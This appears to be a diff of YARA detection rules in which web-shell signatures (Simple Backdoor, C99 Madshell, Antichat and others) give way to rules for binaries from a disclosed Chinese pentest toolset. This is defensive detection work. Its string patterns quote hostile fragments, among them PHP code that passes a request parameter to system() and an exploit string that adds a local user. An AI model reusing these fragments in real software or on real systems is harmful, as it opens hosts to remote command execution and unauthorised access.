+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L308-L324"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "49b311add0940cf183e3c7f3a41ea6e516bf8992"
+		logic_hash = "6d2f6721c942332af1be0b6537e9b9d0b5b3e91eb3912dcd095aa18bccfc4ad5"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "$('#tt2').tree('options').url = \"selectChild.action?checki"
-		$s6 = "String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+requ"
+		$s0 = "explorer.exe http://bbs.yesmybi.net" fullword ascii
+		$s1 = "LOADER ERROR" fullword ascii
+		$s9 = "CryptGenRandom" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <395KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_C99Madshell_V_3_0_Smowu
+rule SIGNATURE_BASE_CN_Honker_Windows_Exp : FILE
 {
 	meta:
-		description = "Web Shell - file smowu.php"
+		description = "Sample from CN Honker Pentest Toolset - file exp.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "148900d0-cf62-5cb0-adbc-52fa8ce8832e"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1421-L1435"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "74e1e7c7a6798f1663efb42882b85bee"
-		logic_hash = "d84a5c573b89790efdbe67a684feb7db88521027e86b7588f090696fd90cbc87"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L326-L341"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "04334c396b165db6e18e9b76094991d681e6c993"
+		logic_hash = "6a146545fd12e7603bf1e2ccb9b2d308b13fe2acdb9248a79c80b6c1de37fd73"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "<tr><td width=\"50%\" height=\"1\" valign=\"top\"><center><b>:: Enter ::</b><for"
-		$s8 = "<p><font color=red>Wordpress Not Found! <input type=text id=\"wp_pat\"><input ty"
+		$s0 = "c:\\windows\\system32\\command.com /c " fullword ascii
+		$s8 = "OH,Sry.Too long command." fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <220KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Simple_Backdoor
+rule SIGNATURE_BASE_CN_Honker_Safe3Wvs_Cgiscan : FILE
 {
 	meta:
-		description = "Web Shell - file simple-backdoor.php"
+		description = "Sample from CN Honker Pentest Toolset - file cgiscan.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "a9f7a195-deb8-5887-bc55-d1b0cac43182"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1436-L1451"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f091d1b9274c881f8e41b2f96e6b9936"
-		logic_hash = "252285e8a796757235d775427e5a73980d065c1221190545428910a77f46bb9a"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L343-L358"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f94bbf2034ad9afa43cca3e3a20f142e0bb54d75"
+		logic_hash = "990dcede3bb83216af7e72e2a49bc2355ebd45ebd3fc658ba337a285dcdf799f"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$cmd = ($_REQUEST['cmd']);" fullword
-		$s1 = "if(isset($_REQUEST['cmd'])){" fullword
-		$s4 = "system($cmd);" fullword
+		$s2 = "httpclient.exe" fullword wide
+		$s3 = "www.safe3.com.cn" fullword wide
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <357KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_404
+rule SIGNATURE_BASE_CN_Honker_Pr_Debug : FILE
 {
 	meta:
-		description = "Web Shell - file 404.php"
+		description = "Sample from CN Honker Pentest Toolset - file debug.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "6d759818-b762-56f4-8475-82a7d18a659c"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1452-L1465"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "078c55ac475ab9e028f94f879f548bca"
-		logic_hash = "b0524ecddf990048e3e40f471c24075c0e87654c6fe40f17dc3ff43743402e24"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L360-L375"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d11e6c6f675b3be86e37e50184dadf0081506a89"
+		logic_hash = "0b7508e3a508adc9416f16549290e06468520c156dbd5192e5a352820586af9f"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "<span>Posix_getpwuid (\"Read\" /etc/passwd)"
+		$s1 = "-->Got WMI process Pid: %d " ascii
+		$s2 = "This exploit will execute \"net user temp 123456 /add & net localg" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <820KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Macker_S_Private_Phpshell
+rule SIGNATURE_BASE_CN_Honker_T00Ls_Lpk_Sethc_V4_0 : FILE
 {
 	meta:
-		description = "Web Shell - file Macker's Private PHPShell.php"
+		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v4.0.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "d41cbed5-a6e3-5165-a8c3-e0375c1ed75d"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1466-L1481"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e24cbf0e294da9ac2117dc660d890bb9"
-		logic_hash = "4bccc1aca8698e601133436a55538c08e3e1fa113a0776c04590eaf4a10fd309"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L377-L392"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "98f21f72c761e504814f0a7db835a24a2413a6c2"
+		logic_hash = "bd6f9b6e831573164fddf7f0188087eb0076410b77c9c06cfacadebe6a53b525"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "echo \"<tr><td class=\\\"silver border\\\">&nbsp;<strong>Server's PHP Version:&n"
-		$s4 = "&nbsp;&nbsp;<?php echo buildUrl(\"<font color=\\\"navy\\\">["
-		$s7 = "echo \"<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\"><input type="
+		$s0 = "LOADER ERROR" fullword ascii
+		$s15 = "2011-2012 T00LS&RICES" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <2077KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Antichat_Shell_V1_3_2
+rule SIGNATURE_BASE_CN_Honker_Matrixay1073 : FILE
 {
 	meta:
-		description = "Web Shell - file Antichat Shell v1.3.php"
+		description = "Sample from CN Honker Pentest Toolset - file MatriXay1073.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1482-L1495"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "40d0abceba125868be7f3f990f031521"
-		logic_hash = "d5a1dc31f442f8db7771ee64164436f6c562ef9f4a203a1e2006d37f9df91846"
+		id = "23e73b89-f60e-5bc3-8974-15be16d7c408"
+		date = "2015-06-23"
+		modified = "2023-01-27"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L394-L412"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fef951e47524f827c7698f4508ba9551359578a5"
+		logic_hash = "e64cae48344e5dae8ec80b2897305a0b380340bdd2973eb0828582f18ef8bf2b"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "$header='<html><head><title>'.getenv(\"HTTP_HOST\").' - Antichat Shell</title><m"
+		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1" ascii
+		$s1 = "Policy\\Scan\\GetUserLen.ini" fullword ascii
+		$s2 = "!YEL!Using http://127.0.0.1:%d/ to visiter https://%s:%d/" ascii
+		$s3 = "getalluserpasswordhash" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <9100KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Safe_Mode_Breaker
+rule SIGNATURE_BASE_CN_Honker_Sword1_5 : FILE
 {
 	meta:
-		description = "Web Shell - file Safe mode breaker.php"
+		description = "Sample from CN Honker Pentest Toolset - file Sword1.5.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "832e4998-64fc-5f34-a46d-aeefde0ee763"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1496-L1510"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5bd07ccb1111950a5b47327946bfa194"
-		logic_hash = "4adcefc05413a02653a2a405791345a1a76058a39f6e2b03765c4485f7c6b106"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L414-L431"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "96ee5c98e982aa8ed92cb4cedb85c7fda873740f"
+		logic_hash = "0f7630b2ec983df2a065b049000cef6de38f884254748a342b2fd84d8c5985af"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "preg_match(\"/SAFE\\ MODE\\ Restriction\\ in\\ effect\\..*whose\\ uid\\ is("
-		$s6 = "$path =\"{$root}\".((substr($root,-1)!=\"/\") ? \"/\" : NULL)."
+		$s1 = "http://www.md5.com.cn" fullword wide
+		$s2 = "ListBox_Command" fullword wide
+		$s3 = "\\Set.ini" wide
+		$s4 = "OpenFileDialog1" fullword wide
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <740KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Sst_Sheller
+rule SIGNATURE_BASE_CN_Honker_Havij_Havij : FILE
 {
 	meta:
-		description = "Web Shell - file Sst-Sheller.php"
+		description = "Sample from CN Honker Pentest Toolset - file Havij.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "b3640a32-b546-58c9-abb1-3da60dc6633c"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1511-L1525"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d93c62a0a042252f7531d8632511ca56"
-		logic_hash = "4faac0b22fec809f2100bad200ba1f9fb9e16fab743e1b1cbfe0b80c6d2fee32"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L433-L448"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0d8b275bd1856bc6563dd731956f3b312e1533cd"
+		logic_hash = "e8aff3e1e536cd35b10bdaab4818542bce284e7ed3aa7ef1920763669faf4c8a"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "echo \"<a href='?page=filemanager&id=fm&fchmod=$dir$file'>"
-		$s3 = "<? unlink($filename); unlink($filename1); unlink($filename2); unlink($filename3)"
+		$s1 = "User-Agent: %Inject_Here%" fullword wide
+		$s2 = "BACKUP database master to disk='d:\\Inetpub\\wwwroot\\1.zip'" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <3000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_List
+rule SIGNATURE_BASE_CN_Honker_Exp_Ms11011 : FILE
 {
 	meta:
-		description = "Web Shell - file list.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file ms11011.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "fc092166-73cd-58f6-b034-a2fe2c5fb859"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1526-L1541"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1ea290ff4259dcaeb680cec992738eda"
-		logic_hash = "5641bff0ec161fe72e502641b6138186d541ebfcbf499e0295a61f9f6f085654"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L450-L468"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5ad7a4962acbb6b0e3b73d77385eb91feb88b386"
+		logic_hash = "f92d71f163a49a158d85b821d71fd17e84e0d3deb19515ae0cf6a063a05c027b"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<FORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\">" fullword
-		$s2 = "out.print(\") <A Style='Color: \" + fcolor.toString() + \";' HRef='?file=\" + fn"
-		$s7 = "if(flist[i].canRead() == true) out.print(\"r\" ); else out.print(\"-\");" fullword
+		$s0 = "\\i386\\Hello.pdb" ascii
+		$s1 = "OS not supported." fullword ascii
+		$s2 = ".Rich5" fullword ascii
+		$s3 = "Not supported." fullword wide
+		$s5 = "cmd.exe" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Phpjackal_V1_5
+rule SIGNATURE_BASE_CN_Honker_DLL_Passive_Privilege_Escalation_Ws2Help : FILE
 {
 	meta:
-		description = "Web Shell - file PHPJackal v1.5.php"
+		description = "Sample from CN Honker Pentest Toolset - file ws2help.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "85a07bb7-2856-56f0-bd15-e020bb2a7692"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1542-L1556"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d76dc20a4017191216a0315b7286056f"
-		logic_hash = "457bc71cb8e684dafb14b1c5d2faa4366cedce5eba9545493be2b1d49daf98b6"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L470-L485"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e539b799c18d519efae6343cff362dcfd8f57f69"
+		logic_hash = "e13f33e48d5c1aeaef6c50287f74e03fb7b65667d597768d448e76f5a375b34f"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s7 = "echo \"<center>${t}MySQL cilent:</td><td bgcolor=\\\"#333333\\\"></td></tr><form"
-		$s8 = "echo \"<center>${t}Wordlist generator:</td><td bgcolor=\\\"#333333\\\"></td></tr"
+		$s0 = "PassMinDll.dll" fullword ascii
+		$s1 = "\\ws2help.dll" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <30KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Customize
+rule SIGNATURE_BASE_CN_Honker_Webshell : FILE
 {
 	meta:
-		description = "Web Shell - file customize.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file Webshell.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "12870766-2b85-522d-9ad8-abba2786caaf"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1557-L1570"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d55578eccad090f30f5d735b8ec530b1"
-		logic_hash = "462d97427793ef6e897b33f4fd02d452ad8cd11ddef21aa25d13efc981eb3afb"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L487-L503"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c85bd09d241c2a75b4e4301091aa11ddd5ad6d59"
+		logic_hash = "d48a10313afcb5a2084229937703bbc11958a5cd11f8f27fbc8dae15ddfd5ed1"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "String cs = request.getParameter(\"z0\")==null?\"gbk\": request.getParameter(\"z"
+		$s1 = "Windows NT users: Please note that having the WinIce/SoftIce" fullword ascii
+		$s2 = "Do you want to cancel the file download?" fullword ascii
+		$s3 = "Downloading: %s" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <381KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_S72_Shell_V1_1_Coding
+rule SIGNATURE_BASE_CN_Honker_Aspxclient : FILE
 {
 	meta:
-		description = "Web Shell - file s72 Shell v1.1 Coding.php"
+		description = "Sample from CN Honker Pentest Toolset - file AspxClient.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1571-L1584"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c2e8346a5515c81797af36e7e4a3828e"
-		logic_hash = "fd200d8aa347242546a1da311edc61ceebaec5f7d6b4fe2f49f069b36689f547"
+		id = "7e38365c-ffe5-5fcd-8bd6-948d255d6e10"
+		date = "2015-06-23"
+		modified = "2022-12-21"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L505-L523"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "67569a89128f503a459eab3daa2032261507f2d2"
+		logic_hash = "4d0a93434673952fed38e384db526275b9eb32bac9a207c91f792d4d113c40f1"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "<font face=\"Verdana\" style=\"font-size: 8pt\" color=\"#800080\">Buradan Dosya "
+		$s1 = "\\tools\\hashq\\hashq.exe" wide
+		$s2 = "\\Release\\CnCerT.CCdoor.Client.pdb" ascii
+		$s3 = "\\myshell.mdb" wide
+		$s4 = "injectfile" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1000KB and 3 of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Sys3
+rule SIGNATURE_BASE_CN_Honker_Fckeditor : FILE
 {
 	meta:
-		description = "Web Shell - file sys3.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file Fckeditor.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "eb8767cb-b081-5c37-b7ad-57a0de047462"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1585-L1600"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b3028a854d07674f4d8a9cf2fb6137ec"
-		logic_hash = "14b0ac1b1b8538b0c05dcd0a8b7129fdcad2e595ea00630bd55cee6dff596d4f"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L525-L540"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4b16ae12c204f64265acef872526b27111b68820"
+		logic_hash = "0fd231fc81b2b7b5647a8016774f35751ac68646856a15c17ce4d2c07eaf1761"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">" fullword
-		$s4 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
-		$s9 = "<%@page contentType=\"text/html;charset=gb2312\"%>" fullword
+		$s0 = "explorer.exe http://user.qzone.qq.com/568148075" fullword wide
+		$s7 = "Fckeditor.exe" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1340KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Guige02
+rule SIGNATURE_BASE_CN_Honker_Codeeer_Explorer : FILE
 {
 	meta:
-		description = "Web Shell - file guige02.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file Codeeer Explorer.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "d4a88ae7-c0b2-57d2-a070-3dd748a30a3a"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1601-L1615"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a3b8b2280c56eaab777d633535baf21d"
-		logic_hash = "c214e50b209970c03d389d97673901ec44b2727e5c7588e5e4d0a644cc691423"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L542-L557"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f32e05f3fefbaa2791dd750e4a3812581ce0f205"
+		logic_hash = "299d0181beb5032dcb327516a7526d6131e2212623ffa9e592f54f80473b098d"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "????????????????%><html><head><title>hahahaha</title></head><body bgcolor=\"#fff"
-		$s1 = "<%@page contentType=\"text/html; charset=GBK\" import=\"java.io.*;\"%><%!private"
+		$s2 = "Codeeer Explorer.exe" fullword wide
+		$s12 = "webBrowser1_ProgressChanged" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <470KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Ghost
+rule SIGNATURE_BASE_CN_Honker_Swordhonkeredition : FILE
 {
 	meta:
-		description = "Web Shell - file ghost.php"
+		description = "Sample from CN Honker Pentest Toolset - file SwordHonkerEdition.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "5688fa03-bcb0-545d-9fdf-7ab48a389424"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1616-L1631"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "38dc8383da0859dca82cf0c943dbf16d"
